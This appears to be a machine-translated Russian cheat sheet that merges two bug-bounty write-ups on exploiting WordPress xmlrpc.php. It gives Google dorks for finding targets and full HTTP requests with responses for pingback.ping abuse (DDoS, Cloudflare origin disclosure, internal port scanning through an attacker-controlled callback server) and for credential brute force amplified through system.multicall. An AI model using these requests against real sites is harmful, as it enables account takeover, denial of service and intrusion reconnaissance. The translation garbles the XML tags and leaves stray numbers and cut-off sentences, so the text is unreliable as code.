Использование xmlrpc.php во всех версиях WordPress
XML-RPC в WordPress на самом деле представляет собой API, который позволяет разработчикам, создающим сторонние приложения и службы, взаимодействовать с вашим сайтом WordPress. API XML-RPC, который WordPress предоставляет несколько ключевых функций, включая:
- Опубликовать сообщение
- Редактировать сообщение
- Удалить сообщение.
- Загрузить новый файл (например, изображение для поста)
- Получить список комментариев
- Редактировать комментарии
Например, система Windows Live Writer способна публиковать блоги непосредственно в WordPress благодаря XML-RPC.
К сожалению, при обычной установке (без изменения настроек и/или конфигураций) WordPress интерфейс XML-RPC открывает два вида атак:
- XML-RPC pingbacks
- Атаки грубой силы через XML-RPC
Согласно документации WordPress (https://codex.
Обратите внимание, что в этом руководстве/шпаргалке домен «example.com» на самом деле является примером и может быть заменен вашей конкретной целью.
Дорки для поиска потенциальных целей
Хочу добавить, что любое противоправное действие является вашим собственным , и я не могу нести ответственность за ваши действия против уязвимой цели. Тестируйте только там, где вам разрешено это делать. Вызовите публичные, известные награды за обнаружение ошибок и заработайте уважение в сообществе.
При этом во время вознаграждения за обнаружение ошибок или оценки тестирования на проникновение мне нужно было определить все уязвимые цели WordPress на всех поддоменах, следуя правилу 9.0045 *.example.com
-
inurl:"/xmlrpc. php?rsd"
+ ограничения области -
intitle:"WordPress" inurl:"readme.html"
+ ограничения области видимости = общее обнаружение wordpress -
allinurl:"wp-content/plugins/"
+ ограничения области видимости = общее обнаружение wordpress
Поиск серверов XML-RPC на WordPress:
Шаги для проверки:
- Убедитесь, что у вас есть доступ к файлу
xmlrpc.php
. Как правило, он находится по адресу https://example.com/xmlrpc.php и отвечает на запрос GET следующим образом:Сервер XML-RPC принимает только запросы POST.
- Бессмысленно нацеливаться на сервер XML-RPC, который отключен/жестко закодирован/подделан/не работает. Поэтому проверим его работоспособность, отправив следующий запрос:
Почтовый запрос:
POST /xmlrpc.php HTTP/1.1 Хост: example.com Длина контента: 135 0" кодировка="utf-8"?><вызов метода> system.listMethods <параметры>параметры> вызов метода>
Нормальный ответ должен быть:
HTTP/1.1 200 OK Дата: пн, 01 июля 2019 г., 17:13:30 по Гринвичу Сервер: Апач Строгая транспортная безопасность: max-age=63072000; включить субдомены; предварительная загрузка Подключение: закрыть Варьировать: Accept-Encoding Referrer-Policy: нет-реферера-при-понижении Длина контента: 4272 Тип содержимого: текст/xml; кодировка = UTF-8 <методответ> <параметры> <параметр> <значение> <массив><данные>system.multicall системные.listMethods system.getCapabilities demo.addTwoNumbers demo.sayHello pingback.extensions.getPingbacks pingback.ping mt. publishPost mt.getTrackbackPings mt.supportedTextFilters mt.supportedMethods mt.setPostCategories mt.getPostCategories mt.getRecentPostTitles mt.getCategoryList metaWeblog.getUsersBlogs metaWeblog.deletePost metaWeblog.newMediaObject metaWeblog.getCategories metaWeblog.getRecentPosts metaWeblog.getPost metaWeblog.editPost metaWeblog.newPost blogger.deletePost blogger.editPost blogger.newPost blogger. getRecentPosts blogger.getPost blogger.getUserInfo blogger.getUsersBlogs wp.restoreRevision wp.getRevisions wp.getPostTypes wp.getPostType wp.getPostFormats wp.getMediaLibrary wp.getMediaItem wp.getCommentStatusList wp.newComment wp.editComment wp.deleteComment wp.getComments wp.getComment wp.setOptions wp.getOptions wp.getPageTemplates wp. getPageStatusList wp.getPostStatusList wp.getCommentCount wp.deleteFile wp.uploadFile wp.suggestCategories wp.deleteCategory wp.newCategory wp.getTags wp.getCategories wp.getAuthors wp.getPageList wp.editPage wp.deletePage wp.newPage wp.getPages wp.getPage wp.editProfile wp.getProfile wp.getUsers wp.getUser wp. getТаксономии wp.getTaxonomy wp.getTerms wp.getTerm wp.deleteTerm wp.editTerm wp.newTerm wp.getPosts wp.getPost wp.deletePost wp.editPost wp.newPost данные>массив> значение> парам> параметры> методответ> wp.getUsersBlogs
Обратите внимание, что при отсутствии приведенного выше примера ответа приступать к реальному тестированию двух уязвимостей довольно бессмысленно. Ответ может отличаться в зависимости от настроек и конфигураций установки WordPress.
- Если есть вывод для
system.listMethods sayHello .
Запрос:
ПУБЛИКАЦИЯ /xmlrpc.php HTTP/1.1 Хост: example.com Длина содержимого: 130 <вызов метода>demo.sayHello <параметры>параметры> вызов метода>
Ответ:
HTTP/1.1 200 ОК Дата: пн, 01 июля 2019 г., 17:19:05 по Гринвичу Сервер: Апач Строгая транспортная безопасность: max-age=63072000; включить субдомены; предварительная загрузка Подключение: закрыть Варьировать: Accept-Encoding Referrer-Policy: нет-реферера-при-понижении Длина контента: 181 Тип содержимого: текст/xml; кодировка = UTF-8 <методответ> <параметры><параметр> <значение> Здравствуйте! значение> парам> параметры> методответ>
Атаки XML-RPC pingbacks
В этом случае злоумышленник может использовать стандартный XML-RPC API для выполнения обратных вызовов в следующих целях:
- Распределенный отказ в обслуживании (DDoS) атаки — Злоумышленник выполняет метод pingback. ping из нескольких уязвимых установок WordPress против одной незащищенной цели (уровень ботнета).
- Обход защиты Cloudflare — Злоумышленник выполняет pingback.ping метод из одной уязвимой установки WordPress, защищенной CloudFlare, на общедоступный хост, контролируемый злоумышленником (например, VPS), чтобы раскрыть общедоступный IP-адрес цели, что позволяет обойти любую защиту на уровне DNS.
- XSPA (Межсайтовая атака порта) — Злоумышленник может выполнить метод pingback.ping из одной уязвимой установки WordPress на тот же хост (или другой внутренний/частный хост) на разных портах. Открытый порт или внутренний хост можно определить, наблюдая за разницей во времени ответа и/или просматривая ответ на запрос.
Ниже представлен простой пример запроса с использованием предоставленного PostBin URL-адреса в качестве обратного вызова:
POST /xmlrpc.php HTTP/1.1 Хост: example. com Длина контента: 303 <вызов метода>pingback.ping <параметры> <параметр>парам> <параметр> https://postb.in/1562017983221-43771991 парам> параметры> вызов метода> https://example.com/
Пример ответа:
HTTP/1.1 200 OK Дата: пн, 01 июля 2019 г., 21:53:56 по Гринвичу Сервер: Апач Строгая транспортная безопасность: max-age=63072000; включить субдомены; предварительная загрузка Подключение: закрыть Варьировать: Accept-Encoding Referrer-Policy: нет-реферера-при-понижении Длина контента: 370 Тип содержимого: текст/xml; кодировка = UTF-8 <методответ> <ошибка> <значение> <структура> <участник>Код ошибки член> <участник> 0 строка_ошибки <значение><строка>строка>значение> член> структура> значение> ошибка> методответ>
Выходные данные PostBin:
Атаки методом грубой силы
Иногда единственный способ обойти ограничение или блокировку запросов при атаке методом грубой силы на сайт WordPress — это использовать слишком забытый XML-RPC API .
Следующий запрос представляет наиболее распространенную атаку грубой силы:
POST /xmlrpc.php HTTP/1.1 Хост: example.com Длина контента: 235 <вызов метода>wp.getUsersBlogs <параметры>\{\{ваше имя пользователя\}\} \{\{ваш пароль\}\} параметры> вызов метода>
Приведенный выше запрос может быть отправлен в Burp Intruder (например) с различными наборами учетных данных. Обратите внимание, что даже если вы угадали пароль или нет, код ответа всегда будет 200 . Я настоятельно рекомендую искать ошибки/сообщения в теле ответа.
Обеспокоены отправкой большого количества запросов к цели? — Не беспокойтесь. WordPress XML-RPC по умолчанию позволяет злоумышленнику выполнить один запрос и перебрать сотни паролей.
Для следующего запроса требуются разрешения для методов system.multicall и wp. getUsersBlogs :
POST /xmlrpc.php HTTP/1.1 Хост: example.com Длина контента: 1560system.multicall methodName wp.getUsersBlogs params < значение><массив><данные><значение><массив><данные><значение><строка>\{\{ Ваше имя пользователя \}\}строка>значение><значение><строка>\{\ { Ваш пароль \}\}methodName wp.getUsersBlogs params < значение><массив><данные><значение><массив><данные><значение><строка>\{\{ Ваше имя пользователя \}\}строка>значение><значение><строка>\{\ { Ваш пароль \}\}methodName wp. getUsersBlogs params < значение><массив><данные><значение><массив><данные><значение><строка>\{\{ Ваше имя пользователя \}\}строка>значение><значение><строка>\{\ { Ваш пароль \}\}methodName wp.getUsersBlogs params < значение><массив><данные><значение><массив><данные><значение><строка>\{\{ Ваше имя пользователя \}\}строка>значение><значение><строка>\{\ { Ваш пароль \}\}
Ответ будет выглядеть так:
HTTP/1.1 200 OK Дата: пн, 01 июля 2019 г., 23:02:55 по Гринвичу Сервер: Апач Строгая транспортная безопасность: max-age=63072000; включить субдомены; предварительная загрузка Подключение: закрыть Варьировать: Accept-Encoding Referrer-Policy: нет-реферера-при-понижении Длина содержимого: 1043 Тип содержимого: текст/xml; кодировка = UTF-8 0" кодировка="UTF-8"?> <методответ> <параметры> <параметр> <значение> <массив><данные> <значение><структура>faultCode 403 структура>значение> <значение><структура> faultString Неверное имя пользователя или пароль. faultCode 403 структура>значение> <значение><структура> faultString Неверное имя пользователя или пароль. faultCode 403 структура>значение> <значение><структура> faultString Неверное имя пользователя или пароль. faultCode 403 структура>значение> данные>массив> значение> парам> параметры> методответ> faultString Неверное имя пользователя или пароль.
В приведенном выше примере я протестировал 4 разных набора учетных данных, используя один запрос. Вам просто нужно заменить {{Ваше имя пользователя}} и {{Ваш пароль}} своими комбинациями.
Вот и все, если я что-то упустил, пишите в комментариях и удачной охоты!
Другие ссылки:
- https://www.wordfence.com/blog/2015/10/should-you-disable-xml-rpc-on-wordpress/
- https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
- https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit/blob/master/wordpress-xmlrpc-brute-v2.py
WordPress xmlrpc.php — распространенные уязвимости и как их использовать | +Bilal Rizwan
Здравствуйте! , Как дела ? , Билал Ризван здесь, надеюсь, у вас все хорошо и вы получаете удовольствие от обучения в сообществе, как и я.
О чем этот пост?
Возможно, вы видели файл /xmlrpc.php на многих сайтах WordPress, которые вы посещаете, возможно, вы даже пытались найти ошибку (сервер XML-RPC принимает только запросы POST), которая появляется при посещении http://site. com/wp/xmlrpc.php В этом посте я постараюсь выделить распространенные уязвимости, связанные с файлом xmlrpc.php.
XML-RPC в WordPress на самом деле является API или «интерфейсом прикладной программы». Это дает разработчикам, которые создают мобильные приложения, настольные приложения и другие сервисы, возможность общаться с вашим сайтом WordPress. API XML-RPC, который предоставляет WordPress, дает разработчикам возможность писать приложения (для вас), которые могут делать многие вещи, которые вы можете делать при входе в WordPress через веб-интерфейс. К ним относятся:
Опубликовать сообщение
Редактировать сообщение
Удалить сообщение.
Загрузить новый файл (например, изображение для поста)
Получить список комментариев
Редактировать комментарии
Основные недостатки, связанные с XML-RPC : WordPress с использованием xmlrpc . руб.
давайте посмотрим, как это делается на самом деле и как вы можете использовать это, пытаясь протестировать сайт WordPress на наличие потенциальных уязвимостей
- Это то, что вы изначально видите, когда пытаетесь открыть xmlrpc.php, расположенный по адресу
http:///<каталог wordpress>/xmlrpc.php
2) Откройте свой прокси (я использую burp) и повторно отправьте запрос
3) Первое, что нужно сделать сейчас, это отправить запрос POST и перечислить все доступные методы, почему? потому что именно так мы узнаем, какие действия вообще возможны, и потенциально используем одно из них для атаки.
Чтобы перечислить все методы Отправьте запрос POST со следующими данными POST, как показано на рисунке, вы получите ответ со всеми доступными методами
system.listMethods
Найдите следующее, если вы обнаружите, что они доступны, мы можем продолжить атаку
*)wp. getUserBlogs
*)wp.getCategories
*)metaWeblog .getUsersBlogs
ПРИМЕЧАНИЕ: есть еще несколько методов, но они наиболее распространены, и я имел дело с ними раньше, поэтому просто упомяну те, которые я могу вспомнить прямо сейчас.
3) Теперь, чтобы выполнить вход в систему методом перебора, отправьте следующее в запросе POST, если вы знаете какие-либо действительные имена пользователей, которые были бы еще лучше
, я бы рекомендовал wp-scan , чтобы найти список действительных имен пользователей , почти все время компании никогда не пытаются предотвратить перечисление имен пользователей на сайтах WordPress, не знаю почему.
wp.getUsersBlogs
admin pass < /param>
4) теперь вы можете просто загрузить это злоумышленнику и выполнить брутфорс.
Если вы введете неправильный пароль или правильный, вы получите ответ 200 OK, поэтому вы должны решить, какой из них правильный, а какой неправильный, на основе размера ответа, если вы используете нарушитель 9.0196 ответ при правильном входе в систему будет выглядеть следующим образом
Другие атаки ?
XSPA или просто сканирование портов!
- Перечислите все методы и найдите следующие
‘ pingback.ping’
2) Если вам удалось найти строку pingback.ping, тогда давайте продолжим и попробуем вернуть пинг на наш сервер, вы можете использовать netcat, или сервер python, сервер nodejs, или даже apache регистрирует все, что вы хотите. Я буду использовать http-сервер nodejs.
Запустите свой сервер и отправьте следующий запрос в post data
pingback.ping
http://<ВАШ СЕРВЕР >: param> http://<НЕКОТОРЫЙ ДЕЙСТВИТЕЛЬНЫЙ БЛОГ С САЙТА >
Здесь нужно заполнить 2 строки
1) Ссылка на ваш сервер
2) Ссылка на какое-то действительное сообщение с сайта WordPress, которое используется для обратного вызова
в ответ, если вы получите код ошибки и значение больше 0 (
), то это означает, что порт открыт + вы можете проверить это, проверив журналы вашего сервера. 17